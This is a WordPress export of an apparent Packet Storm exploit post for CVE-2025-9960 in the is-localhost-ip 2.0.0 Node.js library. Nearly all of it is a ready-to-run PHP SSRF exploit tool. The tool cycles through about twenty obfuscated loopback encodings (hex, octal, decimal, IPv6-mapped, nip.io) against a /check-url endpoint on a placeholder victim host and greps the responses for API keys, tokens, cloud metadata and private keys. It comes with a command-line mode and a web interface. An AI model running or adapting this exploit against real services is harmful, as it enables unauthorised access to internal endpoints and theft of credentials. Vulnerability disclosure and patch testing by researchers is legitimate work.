{"id":30056,"date":"2025-12-10T12:52:24","date_gmt":"2025-12-10T12:52:24","guid":{"rendered":"http:\/\/localhost\/?p=30056"},"modified":"2025-12-10T12:52:24","modified_gmt":"2025-12-10T12:52:24","slug":"is-localhost-ip-200-restriction-bypass","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=30056","title":{"rendered":"\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass_PACKETSTORM:212666"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-10T17:38:27&#8243;,&#8221;description&#8221;:&#8221;is-localhost-ip version 2.0.0 suffers from a restriction bypass vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 is-localhost-ip 2.0.0 Restriction Bypass&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212666&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9960&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : is-localhost-ip 2.0.0 Restriction Bypass                                                                                    |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/tinovyatkin\/is-localhost-ip                                                                              |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/211369\/ \\u0026\\tCVE-2025-9960\\n    \\n    [+] Summary : is-localhost-ip (v2.0.0) is a compact, dependency\u2011free JavaScript library (~100 LOC) designed to determine whether a given hostname or IPv4\/IPv6 address refers to the local machine\\n                  The vulnerability does not affect the browser or the operating system.\\n                  It affects the application layer, specifically Node.js applications that rely on the is-localhost-ip library for SSRF protection.\\n    \\n    Any Node.js (commonly Express.js) service that imports and uses:\\n    \\n    const isLocalhost = require(\\&#8221;is-localhost-ip\\&#8221;);\\n    \\n    to block loopback access can be bypassed due to incomplete IPv6\u2011mapped address handling.\\n    \\n    So the impacted target is:\\n    \\n    Node.js application (e.g., Express server) using is-localhost-ip v2.0.0\\n    \\n    Not:\\n    \\n    \u274c Browser\\n    \u274c Operating system\\n    \\n    But:\\n    \\n    \u2714 Node.js application using the library\\n    \\n    [+]  POC :   * Usage: php exploit.php &#8211;target=http:\/\/victim.com:3005\\n    \\n    \\u003c?php\\n    \/**\\n     * SSRF Exploit for is-localhost-ip 2.0.0\\n     * Author: indoushka\\n     *\/\\n    \\n    class SSRFExploit {\\n        private $target;\\n        private $internalEndpoint;\\n        private $timeout = 10;\\n        \\n        \/\/ \u062c\u0645\u064a\u0639 \u0645\u062a\u063a\u064a\u0631\u0627\u062a localhost \u0627\u0644\u0645\u062d\u062a\u0645\u0644\u0629\\n        private $localhostVariants = [\\n            \/\/ IPv4 standard\\n            &#8216;127.0.0.1&#8217;,\\n            &#8216;127.0.0.01&#8217;,\\n            &#8216;127.000.000.001&#8217;,\\n            \\n            \/\/ Hexadecimal\\n            &#8216;0x7f000001&#8217;,\\n            \\n            \/\/ Decimal\\n            &#8216;2130706433&#8217;,\\n            \\n            \/\/ Octal\\n            &#8216;0177.0.0.01&#8217;,\\n            &#8216;0177.000.000.001&#8217;,\\n            \\n            \/\/ IPv6\\n            &#8216;[::1]&#8217;,\\n            &#8216;[::ffff:127.0.0.1]&#8217;,\\n            &#8216;[::ffff:7f00:1]&#8217;,\\n            &#8216;[0:0:0:0:0:ffff:7f00:1]&#8217;,\\n            \\n            \/\/ Shortened forms\\n            &#8216;127.1&#8217;,\\n            &#8216;127.0.1&#8217;,\\n            \\n            \/\/ DNS\\n            &#8216;localhost&#8217;,\\n            &#8216;local&#8217;,\\n            &#8216;loopback&#8217;,\\n            &#8216;ip6-localhost&#8217;,\\n            \\n            \/\/ Word variations\\n            &#8216;localtest.me&#8217;,\\n            &#8216;localtest&#8217;,\\n            &#8216;127.0.0.1.nip.io&#8217;,\\n            &#8216;127-0-0-1.nip.io&#8217;,\\n        ];\\n        \\n        public function __construct($target, $internalEndpoint = &#8216;\/secret&#8217;) {\\n            $this-\\u003etarget = rtrim($target, &#8216;\/&#8217;);\\n            $this-\\u003einternalEndpoint = $internalEndpoint;\\n        }\\n        \\n        \/**\\n         * \u0627\u062e\u062a\u0628\u0627\u0631 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u062a\u063a\u064a\u0631\u0627\u062a\\n         *\/\\n        public function testAllVariants() {\\n            echo \\&#8221; Starting SSRF Exploit against: {$this-\\u003etarget}\\\\n\\&#8221;;\\n            echo \\&#8221; Testing localhost bypass variants&#8230;\\\\n\\&#8221;;\\n            echo str_repeat(\\&#8221;=\\&#8221;, 80) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            $results = [];\\n            $successCount = 0;\\n            \\n            foreach ($this-\\u003elocalhostVariants as $variant) {\\n                $result = $this-\\u003etestVariant($variant);\\n                $results[] = $result;\\n                \\n                if ($result[&#8216;success&#8217;]) {\\n                    $successCount++;\\n                    echo \\&#8221; SUCCESS: {$variant}\\\\n\\&#8221;;\\n                    echo \\&#8221;   Response: \\&#8221; . substr($result[&#8216;response&#8217;], 0, 200) . \\&#8221;&#8230;\\\\n\\&#8221;;\\n                    echo \\&#8221;   Full URL: {$result[&#8216;url&#8217;]}\\\\n\\&#8221;;\\n                    echo str_repeat(\\&#8221;-\\&#8221;, 80) . \\&#8221;\\\\n\\&#8221;;\\n                } else {\\n                    echo \\&#8221; FAILED: {$variant}\\\\n\\&#8221;;\\n                    echo \\&#8221;   Reason: {$result[&#8216;error&#8217;]}\\\\n\\&#8221;;\\n                    echo str_repeat(\\&#8221;-\\&#8221;, 80) . \\&#8221;\\\\n\\&#8221;;\\n                }\\n                \\n                \/\/ \u062a\u0623\u062e\u064a\u0631 \u0642\u0635\u064a\u0631 \u0644\u062a\u062c\u0646\u0628 \u0627\u0644\u062d\u0638\u0631\\n                usleep(500000); \/\/ 0.5 \u062b\u0627\u0646\u064a\u0629\\n            }\\n            \\n            \/\/ \u0639\u0631\u0636 \u0627\u0644\u0646\u062a\u0627\u0626\u062c\\n            $this-\\u003eshowResults($results, $successCount);\\n            \\n            \/\/ \u062d\u0641\u0638 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0641\u064a \u0645\u0644\u0641\\n            $this-\\u003esaveResults($results);\\n            \\n            return $results;\\n        }\\n        \\n        \/**\\n         * \u0627\u062e\u062a\u0628\u0627\u0631 \u0645\u062a\u063a\u064a\u0631 \u0645\u0639\u064a\u0646\\n         *\/\\n        private function testVariant($variant) {\\n            $port = 3005; \/\/ \u0627\u0644\u0645\u0646\u0641\u0630 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\\n            $testUrl = \\&#8221;http:\/\/{$variant}:{$port}{$this-\\u003einternalEndpoint}\\&#8221;;\\n            $encodedUrl = urlencode($testUrl);\\n            $attackUrl = \\&#8221;{$this-\\u003etarget}\/check-url?url={$encodedUrl}\\&#8221;;\\n            \\n            try {\\n                $ch = curl_init();\\n                \\n                curl_setopt_array($ch, [\\n                    CURLOPT_URL =\\u003e $attackUrl,\\n                    CURLOPT_RETURNTRANSFER =\\u003e true,\\n                    CURLOPT_TIMEOUT =\\u003e $this-\\u003etimeout,\\n                    CURLOPT_FOLLOWLOCATION =\\u003e false,\\n                    CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                    CURLOPT_SSL_VERIFYHOST =\\u003e false,\\n                    CURLOPT_USERAGENT =\\u003e &#8216;Mozilla\/5.0 (SSRF-Test)&#8217;,\\n                    CURLOPT_HTTPHEADER =\\u003e [\\n                        &#8216;Accept: application\/json,text\/html&#8217;,\\n                        &#8216;X-Forwarded-For: 127.0.0.1&#8217;,\\n                    ],\\n                ]);\\n                \\n                $response = curl_exec($ch);\\n                $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n                $error = curl_error($ch);\\n                curl_close($ch);\\n                \\n                if ($error) {\\n                    return [\\n                        &#8216;variant&#8217; =\\u003e $variant,\\n                        &#8216;success&#8217; =\\u003e false,\\n                        &#8216;error&#8217; =\\u003e \\&#8221;CURL Error: {$error}\\&#8221;,\\n                        &#8216;url&#8217; =\\u003e $attackUrl,\\n                        &#8216;http_code&#8217; =\\u003e 0,\\n                        &#8216;response&#8217; =\\u003e &#8221;\\n                    ];\\n                }\\n                \\n                if ($httpCode === 403) {\\n                    return [\\n                        &#8216;variant&#8217; =\\u003e $variant,\\n                        &#8216;success&#8217; =\\u003e false,\\n                        &#8216;error&#8217; =\\u003e \\&#8221;Blocked (403 Forbidden)\\&#8221;,\\n                        &#8216;url&#8217; =\\u003e $attackUrl,\\n                        &#8216;http_code&#8217; =\\u003e $httpCode,\\n                        &#8216;response&#8217; =\\u003e $response\\n                    ];\\n                }\\n                \\n                if ($httpCode === 200) {\\n                    \/\/ \u062a\u062d\u0642\u0642 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0631\u062f \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0628\u064a\u0627\u0646\u0627\u062a \u062d\u0633\u0627\u0633\u0629\\n                    $isSensitive = $this-\\u003echeckSensitiveData($response);\\n                    \\n                    return [\\n                        &#8216;variant&#8217; =\\u003e $variant,\\n                        &#8216;success&#8217; =\\u003e $isSensitive,\\n                        &#8216;error&#8217; =\\u003e $isSensitive ? \\&#8221;\\&#8221; : \\&#8221;200 OK but no sensitive data\\&#8221;,\\n                        &#8216;url&#8217; =\\u003e $attackUrl,\\n                        &#8216;http_code&#8217; =\\u003e $httpCode,\\n                        &#8216;response&#8217; =\\u003e $response,\\n                        &#8216;sensitive&#8217; =\\u003e $isSensitive\\n                    ];\\n                }\\n                \\n                return [\\n                    &#8216;variant&#8217; =\\u003e $variant,\\n                    &#8216;success&#8217; =\\u003e false,\\n                    &#8216;error&#8217; =\\u003e \\&#8221;HTTP {$httpCode}\\&#8221;,\\n                    &#8216;url&#8217; =\\u003e $attackUrl,\\n                    &#8216;http_code&#8217; =\\u003e $httpCode,\\n                    &#8216;response&#8217; =\\u003e $response\\n                ];\\n                \\n            } catch (Exception $e) {\\n                return [\\n                    &#8216;variant&#8217; =\\u003e $variant,\\n                    &#8216;success&#8217; =\\u003e false,\\n                    &#8216;error&#8217; =\\u003e \\&#8221;Exception: \\&#8221; . $e-\\u003egetMessage(),\\n                    &#8216;url&#8217; =\\u003e $attackUrl,\\n                    &#8216;http_code&#8217; =\\u003e 0,\\n                    &#8216;response&#8217; =\\u003e &#8221;\\n                ];\\n            }\\n        }\\n        \\n        \/**\\n         * \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0648\u062c\u0648\u062f \u0628\u064a\u0627\u0646\u0627\u062a \u062d\u0633\u0627\u0633\u0629 \u0641\u064a \u0627\u0644\u0631\u062f\\n         *\/\\n        private function checkSensitiveData($response) {\\n            $sensitivePatterns = [\\n                &#8216;\/apikey\/i&#8217;,\\n                &#8216;\/secret\/i&#8217;,\\n                &#8216;\/token\/i&#8217;,\\n                &#8216;\/password\/i&#8217;,\\n                &#8216;\/key\/i&#8217;,\\n                &#8216;\/private\/i&#8217;,\\n                &#8216;\/aws\/i&#8217;,\\n                &#8216;\/azure\/i&#8217;,\\n                &#8216;\/gcp\/i&#8217;,\\n                &#8216;\/metadata\/i&#8217;,\\n                &#8216;\/admin\/i&#8217;,\\n                &#8216;\/credential\/i&#8217;,\\n                &#8216;\/jwt\/i&#8217;,\\n                &#8216;\/bearer\/i&#8217;,\\n                &#8216;\/ssh\/i&#8217;,\\n                &#8216;\/rsa\/i&#8217;,\\n                &#8216;\/BEGIN.*PRIVATE.*KEY\/i&#8217;,\\n            ];\\n            \\n            foreach ($sensitivePatterns as $pattern) {\\n                if (preg_match($pattern, $response)) {\\n                    return true;\\n                }\\n            }\\n            \\n            \/\/ \u062a\u062d\u0642\u0642 \u0645\u0646 JSON \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0645\u0641\u0627\u062a\u064a\u062d \u062d\u0633\u0627\u0633\u0629\\n            if ($this-\\u003eisJson($response)) {\\n                $data = json_decode($response, true);\\n                if (is_array($data)) {\\n                    $sensitiveKeys = [&#8216;apikey&#8217;, &#8216;secret&#8217;, &#8216;token&#8217;, &#8216;password&#8217;, &#8216;key&#8217;];\\n                    foreach ($sensitiveKeys as $key) {\\n                        if (isset($data[$key])) {\\n                            return true;\\n                        }\\n                    }\\n                }\\n            }\\n            \\n            return false;\\n        }\\n        \\n        \/**\\n         * \u0627\u0644\u062a\u062d\u0642\u0642 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0646\u0635 JSON\\n         *\/\\n        private function isJson($string) {\\n            json_decode($string);\\n            return json_last_error() === JSON_ERROR_NONE;\\n        }\\n        \\n        \/**\\n         * \u0639\u0631\u0636 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0646\u0647\u0627\u0626\u064a\u0629\\n         *\/\\n        private function showResults($results, $successCount) {\\n            echo \\&#8221;\\\\n\\&#8221; . str_repeat(\\&#8221;=\\&#8221;, 80) . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221; EXPLOIT RESULTS SUMMARY\\\\n\\&#8221;;\\n            echo str_repeat(\\&#8221;=\\&#8221;, 80) . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;Target: {$this-\\u003etarget}\\\\n\\&#8221;;\\n            echo \\&#8221;Total Variants Tested: \\&#8221; . count($results) . \\&#8221;\\\\n\\&#8221;;\\n            echo \\&#8221;Successful Bypasses: {$successCount}\\\\n\\&#8221;;\\n            echo \\&#8221;Blocked\/Failed: \\&#8221; . (count($results) &#8211; $successCount) . \\&#8221;\\\\n\\&#8221;;\\n            echo str_repeat(\\&#8221;-\\&#8221;, 80) . \\&#8221;\\\\n\\&#8221;;\\n            \\n            if ($successCount \\u003e 0) {\\n                echo \\&#8221; VULNERABILITY CONFIRMED!\\\\n\\&#8221;;\\n                echo \\&#8221; SSRF Bypass Successful\\\\n\\\\n\\&#8221;;\\n                \\n                echo \\&#8221;Successful Variants:\\\\n\\&#8221;;\\n                foreach ($results as $result) {\\n                    if ($result[&#8216;success&#8217;]) {\\n                        echo \\&#8221;  \u2022 {$result[&#8216;variant&#8217;]}\\\\n\\&#8221;;\\n                        echo \\&#8221;    URL: {$result[&#8216;url&#8217;]}\\\\n\\&#8221;;\\n                        echo \\&#8221;    Response Preview: \\&#8221; . substr($result[&#8216;response&#8217;], 0, 100) . \\&#8221;&#8230;\\\\n\\\\n\\&#8221;;\\n                    }\\n                }\\n            } else {\\n                echo \\&#8221; Target appears to be protected\\\\n\\&#8221;;\\n                echo \\&#8221; No successful bypasses found\\\\n\\&#8221;;\\n            }\\n        }\\n        \\n        \/**\\n         * \u062d\u0641\u0638 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0641\u064a \u0645\u0644\u0641\\n         *\/\\n        private function saveResults($results) {\\n            $filename = &#8216;ssrf_results_&#8217; . date(&#8216;Y-m-d_H-i-s&#8217;) . &#8216;.txt&#8217;;\\n            $content = \\&#8221;SSRF Exploit Results\\\\n\\&#8221;;\\n            $content .= \\&#8221;Target: {$this-\\u003etarget}\\\\n\\&#8221;;\\n            $content .= \\&#8221;Time: \\&#8221; . date(&#8216;Y-m-d H:i:s&#8217;) . \\&#8221;\\\\n\\\\n\\&#8221;;\\n            \\n            foreach ($results as $result) {\\n                $content .= str_repeat(\\&#8221;-\\&#8221;, 60) . \\&#8221;\\\\n\\&#8221;;\\n                $content .= \\&#8221;Variant: {$result[&#8216;variant&#8217;]}\\\\n\\&#8221;;\\n                $content .= \\&#8221;Success: \\&#8221; . ($result[&#8216;success&#8217;] ? &#8216;YES&#8217; : &#8216;NO&#8217;) . \\&#8221;\\\\n\\&#8221;;\\n                $content .= \\&#8221;HTTP Code: {$result[&#8216;http_code&#8217;]}\\\\n\\&#8221;;\\n                $content .= \\&#8221;Error: {$result[&#8216;error&#8217;]}\\\\n\\&#8221;;\\n                $content .= \\&#8221;URL: {$result[&#8216;url&#8217;]}\\\\n\\&#8221;;\\n                $content .= \\&#8221;Response:\\\\n{$result[&#8216;response&#8217;]}\\\\n\\\\n\\&#8221;;\\n            }\\n            \\n            file_put_contents($filename, $content);\\n            echo \\&#8221;\ud83d\udcc4 Results saved to: {$filename}\\\\n\\&#8221;;\\n        }\\n        \\n        \/**\\n         * \u0647\u062c\u0648\u0645 \u0645\u062a\u0642\u062f\u0645 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 IP \u0627\u0644\u0645\u062f\u062e\u0644 \u0645\u0646 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\\n         *\/\\n        public function customAttack($customIp, $port = 3005, $endpoint = &#8216;\/secret&#8217;) {\\n            echo \\&#8221; Custom Attack with IP: {$customIp}\\\\n\\&#8221;;\\n            \\n            $variants = [\\n                $customIp,\\n                $this-\\u003edecimalToIp($customIp),\\n                $this-\\u003eipToHex($customIp),\\n                $this-\\u003eipToOctal($customIp),\\n                \\&#8221;[::ffff:\\&#8221; . $this-\\u003eipv4ToHex($customIp) . \\&#8221;]\\&#8221;,\\n            ];\\n            \\n            foreach ($variants as $variant) {\\n                echo \\&#8221;\\\\nTesting variant: {$variant}\\\\n\\&#8221;;\\n                $result = $this-\\u003etestVariant($variant);\\n                \\n                if ($result[&#8216;success&#8217;]) {\\n                    echo \\&#8221; SUCCESS!\\\\n\\&#8221;;\\n                    echo \\&#8221;Response: \\&#8221; . substr($result[&#8216;response&#8217;], 0, 200) . \\&#8221;\\\\n\\&#8221;;\\n                    return $result;\\n                }\\n            }\\n            \\n            echo \\&#8221; All variants failed\\\\n\\&#8221;;\\n            return false;\\n        }\\n        \\n        \/**\\n         * \u062a\u062d\u0648\u064a\u0644 IP \u0625\u0644\u0649 \u062a\u0645\u062b\u064a\u0644 \u0639\u0634\u0631\u064a\\n         *\/\\n        private function ipToDecimal($ip) {\\n            $parts = explode(&#8216;.&#8217;, $ip);\\n            if (count($parts) !== 4) return $ip;\\n            \\n            return ($parts[0] * 16777216) + \\n                   ($parts[1] * 65536) + \\n                   ($parts[2] * 256) + \\n                   $parts[3];\\n        }\\n        \\n        \/**\\n         * \u062a\u062d\u0648\u064a\u0644 IP \u0625\u0644\u0649 \u0633\u062f\u0627\u0633\u064a \u0639\u0634\u0631\u064a\\n         *\/\\n        private function ipToHex($ip) {\\n            $decimal = $this-\\u003eipToDecimal($ip);\\n            return &#8216;0x&#8217; . dechex($decimal);\\n        }\\n        \\n        \/**\\n         * \u062a\u062d\u0648\u064a\u0644 IP \u0625\u0644\u0649 \u062b\u0645\u0627\u0646\u064a\\n         *\/\\n        private function ipToOctal($ip) {\\n            $parts = explode(&#8216;.&#8217;, $ip);\\n            if (count($parts) !== 4) return $ip;\\n            \\n            $octalParts = array_map(function($part) {\\n                return &#8216;0&#8217; . decoct($part);\\n            }, $parts);\\n            \\n            return implode(&#8216;.&#8217;, $octalParts);\\n        }\\n        \\n        \/**\\n         * \u062a\u062d\u0648\u064a\u0644 \u0639\u0634\u0631\u064a \u0625\u0644\u0649 IP\\n         *\/\\n        private function decimalToIp($decimal) {\\n            return long2ip($decimal);\\n        }\\n        \\n        \/**\\n         * \u062a\u062d\u0648\u064a\u0644 IPv4 \u0625\u0644\u0649 \u0633\u062f\u0627\u0633\u064a \u0639\u0634\u0631\u064a \u0644\u0640 IPv6\\n         *\/\\n        private function ipv4ToHex($ip) {\\n            $parts = explode(&#8216;.&#8217;, $ip);\\n            if (count($parts) !== 4) return $ip;\\n            \\n            $hexParts = array_map(function($part) {\\n                return str_pad(dechex($part), 2, &#8216;0&#8217;, STR_PAD_LEFT);\\n            }, $parts);\\n            \\n            return implode(&#8221;, $hexParts);\\n        }\\n    }\\n    \\n    \/**\\n     * \u062f\u0627\u0644\u0629 CLI \u0644\u0644\u0645\u0633\u0627\u0639\u062f\u0629\\n     *\/\\n    function showHelp() {\\n        echo \\&#8221;SSRF Exploit Tool for is-localhost-ip 2.0.0\\\\n\\&#8221;;\\n        echo \\&#8221;Usage:\\\\n\\&#8221;;\\n        echo \\&#8221;  php exploit.php &#8211;target=http:\/\/victim.com:3005\\\\n\\&#8221;;\\n        echo \\&#8221;  php exploit.php &#8211;target=http:\/\/victim.com:3005 &#8211;custom=127.0.0.1\\\\n\\&#8221;;\\n        echo \\&#8221;  php exploit.php &#8211;target=http:\/\/victim.com:3005 &#8211;endpoint=\/admin\\\\n\\&#8221;;\\n        echo \\&#8221;  php exploit.php &#8211;help\\\\n\\\\n\\&#8221;;\\n        echo \\&#8221;Options:\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;target     Target URL (required)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;custom     Custom IP to test\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;endpoint   Internal endpoint to access (default: \/secret)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;port       Port number (default: 3005)\\\\n\\&#8221;;\\n        echo \\&#8221;  &#8211;help       Show this help\\\\n\\&#8221;;\\n    }\\n    \\n    \/**\\n     * \u0627\u0644\u0645\u0639\u0627\u0644\u062c\u0629 \u0645\u0646 \u0633\u0637\u0631 \u0627\u0644\u0623\u0648\u0627\u0645\u0631\\n     *\/\\n    if (PHP_SAPI === &#8216;cli&#8217;) {\\n        $options = getopt(&#8221;, [&#8216;target:&#8217;, &#8216;custom:&#8217;, &#8216;endpoint:&#8217;, &#8216;port:&#8217;, &#8216;help&#8217;]);\\n        \\n        if (isset($options[&#8216;help&#8217;]) || !isset($options[&#8216;target&#8217;])) {\\n            showHelp();\\n            exit();\\n        }\\n        \\n        $target = $options[&#8216;target&#8217;];\\n        $endpoint = $options[&#8216;endpoint&#8217;] ?? &#8216;\/secret&#8217;;\\n        $port = $options[&#8216;port&#8217;] ?? 3005;\\n        \\n        $exploit = new SSRFExploit($target, $endpoint);\\n        \\n        if (isset($options[&#8216;custom&#8217;])) {\\n            \/\/ \u0647\u062c\u0648\u0645 \u0645\u062e\u0635\u0635\\n            $customIp = $options[&#8216;custom&#8217;];\\n            $exploit-\\u003ecustomAttack($customIp, $port, $endpoint);\\n        } else {\\n            \/\/ \u0627\u062e\u062a\u0628\u0627\u0631 \u062c\u0645\u064a\u0639 \u0627\u0644\u0645\u062a\u063a\u064a\u0631\u0627\u062a\\n            $exploit-\\u003etestAllVariants();\\n        }\\n    } else {\\n        \/\/ \u0648\u0627\u062c\u0647\u0629 \u0648\u064a\u0628 \u0628\u0633\u064a\u0637\u0629\\n        ?\\u003e\\n        \\u003c!DOCTYPE html\\u003e\\n        \\u003chtml\\u003e\\n        \\u003chead\\u003e\\n            \\u003ctitle\\u003eSSRF Exploit Tester\\u003c\/title\\u003e\\n            \\u003cstyle\\u003e\\n                body { font-family: Arial, sans-serif; margin: 40px; }\\n                .container { max-width: 800px; margin: auto; }\\n                .form-group { margin-bottom: 15px; }\\n                label { display: block; margin-bottom: 5px; font-weight: bold; }\\n                input[type=\\&#8221;text\\&#8221;] { width: 100%; padding: 8px; border: 1px solid #ddd; }\\n                button { background: #007bff; color: white; border: none; padding: 10px 20px; cursor: pointer; }\\n                .result { margin-top: 20px; padding: 15px; background: #f8f9fa; border-left: 4px solid #007bff; }\\n                .success { border-color: #28a745; background: #d4edda; }\\n                .error { border-color: #dc3545; background: #f8d7da; }\\n            \\u003c\/style\\u003e\\n        \\u003c\/head\\u003e\\n        \\u003cbody\\u003e\\n            \\u003cdiv class=\\&#8221;container\\&#8221;\\u003e\\n                \\u003ch1\\u003e SSRF Exploit Tester\\u003c\/h1\\u003e\\n                \\u003cp\\u003eTest for CVE-2025-9960 (is-localhost-ip bypass)\\u003c\/p\\u003e\\n                \\n                \\u003cform method=\\&#8221;POST\\&#8221;\\u003e\\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel for=\\&#8221;target\\&#8221;\\u003eTarget URL:\\u003c\/label\\u003e\\n                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;target\\&#8221; name=\\&#8221;target\\&#8221; \\n                               placeholder=\\&#8221;http:\/\/victim.com:3005\\&#8221; required\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel for=\\&#8221;endpoint\\&#8221;\\u003eInternal Endpoint:\\u003c\/label\\u003e\\n                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;endpoint\\&#8221; name=\\&#8221;endpoint\\&#8221; \\n                               value=\\&#8221;\/secret\\&#8221; placeholder=\\&#8221;\/admin, \/internal, etc.\\&#8221;\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cdiv class=\\&#8221;form-group\\&#8221;\\u003e\\n                        \\u003clabel for=\\&#8221;custom\\&#8221;\\u003eCustom IP (optional):\\u003c\/label\\u003e\\n                        \\u003cinput type=\\&#8221;text\\&#8221; id=\\&#8221;custom\\&#8221; name=\\&#8221;custom\\&#8221; \\n                               placeholder=\\&#8221;127.0.0.1, 192.168.1.1, etc.\\&#8221;\\u003e\\n                    \\u003c\/div\\u003e\\n                    \\n                    \\u003cbutton type=\\&#8221;submit\\&#8221; name=\\&#8221;test\\&#8221;\\u003eTest SSRF\\u003c\/button\\u003e\\n                    \\u003cbutton type=\\&#8221;submit\\&#8221; name=\\&#8221;quick\\&#8221;\\u003eQuick Test\\u003c\/button\\u003e\\n                \\u003c\/form\\u003e\\n                \\n                \\u003c?php\\n                if ($_SERVER[&#8216;REQUEST_METHOD&#8217;] === &#8216;POST&#8217;) {\\n                    $target = $_POST[&#8216;target&#8217;] ?? &#8221;;\\n                    $endpoint = $_POST[&#8216;endpoint&#8217;] ?? &#8216;\/secret&#8217;;\\n                    $customIp = $_POST[&#8216;custom&#8217;] ?? &#8221;;\\n                    \\n                    if (!empty($target)) {\\n                        $exploit = new SSRFExploit($target, $endpoint);\\n                        \\n                        echo &#8216;\\u003cdiv class=\\&#8221;result\\&#8221;\\u003e&#8217;;\\n                        echo &#8216;\\u003ch3\\u003eTest Results:\\u003c\/h3\\u003e&#8217;;\\n                        \\n                        if (isset($_POST[&#8216;quick&#8217;])) {\\n                            \/\/ \u0627\u062e\u062a\u0628\u0627\u0631 \u0633\u0631\u064a\u0639\\n                            echo &#8216;\\u003cp\\u003ePerforming quick test&#8230;\\u003c\/p\\u003e&#8217;;\\n                            $quickVariants = [&#8216;127.0.0.1&#8217;, &#8216;0x7f000001&#8217;, &#8216;2130706433&#8217;, &#8216;[::ffff:7f00:1]&#8217;];\\n                            \\n                            foreach ($quickVariants as $variant) {\\n                                $result = $exploit-\\u003etestVariant($variant);\\n                                echo $result[&#8216;success&#8217;] \\n                                    ? \\&#8221;\\u003cp class=&#8217;success&#8217;\\u003e {$variant}: SUCCESS\\u003c\/p\\u003e\\&#8221;\\n                                    : \\&#8221;\\u003cp class=&#8217;error&#8217;\\u003e {$variant}: FAILED\\u003c\/p\\u003e\\&#8221;;\\n                            }\\n                        } else {\\n                            \/\/ \u0627\u062e\u062a\u0628\u0627\u0631 \u0643\u0627\u0645\u0644\\n                            $results = $exploit-\\u003etestAllVariants();\\n                        }\\n                        \\n                        echo &#8216;\\u003c\/div\\u003e&#8217;;\\n                    }\\n                }\\n                ?\\u003e\\n                \\n                \\u003cdiv class=\\&#8221;result\\&#8221;\\u003e\\n                    \\u003ch4\\u003e About This Exploit:\\u003c\/h4\\u003e\\n                    \\u003cp\\u003eThis tool demonstrates SSRF bypass in is-localhost-ip v2.0.0\\u003c\/p\\u003e\\n                    \\u003cp\\u003e\\u003cstrong\\u003eCVE:\\u003c\/strong\\u003e CVE-2025-9960\\u003c\/p\\u003e\\n                    \\u003cp\\u003e\\u003cstrong\\u003eVulnerability:\\u003c\/strong\\u003e Server-Side Request Forgery via localhost restriction bypass\\u003c\/p\\u003e\\n                    \\u003cp\\u003e\\u003cstrong\\u003eTest Variants:\\u003c\/strong\\u003e 20+ localhost representations\\u003c\/p\\u003e\\n                    \\u003cp\\u003e\\u003cstrong\\u003eUse Responsibly:\\u003c\/strong\\u003e Only test on systems you own or have permission to test\\u003c\/p\\u003e\\n                \\u003c\/div\\u003e\\n            \\u003c\/div\\u003e\\n        \\u003c\/body\\u003e\\n        \\u003c\/html\\u003e\\n        \\u003c?php\\n    }\\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    